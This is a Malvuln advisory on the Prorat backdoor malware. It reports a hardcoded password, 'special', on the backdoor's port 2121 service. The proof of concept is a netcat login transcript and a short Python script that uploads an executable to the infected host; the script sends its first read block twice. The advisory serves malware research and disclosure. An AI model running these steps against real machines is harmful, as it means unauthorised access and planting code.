Discovery / credits: Malvuln - malvuln.com (c) 2022
Original source: https://malvuln.com/advisory/65a53a37843db2b86a67a9e23277c1bf.txt
Contact: malvuln13@gmail.com
Media: twitter.com/malvuln

Threat: Backdoor.Win32.Prorat.lkt
Vulnerability: Weak Hardcoded Password
Description: The malware listens on TCP port 2121. Authentication is required, however the password "special" is weak and hardcoded in cleartext at offset 0040267C.
Type: PE32
MD5: 65a53a37843db2b86a67a9e23277c1bf
Vuln ID: MVID-2022-0490
Disclosure: 02/16/2022

Exploit/PoC:
nc64.exe x.x.x.x 2121
220 ProSpy FTP Server ready.
USER special
331 Password required for special.
PASS special
230 User special logged in.
SYST
215 UNIX Type: L8 Internet Component Suite
PASV
227 Entering Passive Mode (192,168,18,129,201,139).
STOR DOOM.exe
150 Opening data connection for DOOM.exe.
226 File received ok

from socket import *

MALWARE_HOST="192.168.18.129"
PORT=51595
DOOM="DOOM.exe"

def doit():
    s=socket(AF_INET, SOCK_STREAM)
    s.connect((MALWARE_HOST, PORT))

    f = open(DOOM, "rb")
    EXE = f.read()
    s.send(EXE)

    while EXE:
        s.send(EXE)
        EXE=f.read()
    
    s.close()

    print("By Malvuln");

if __name__=="__main__":
    doit()


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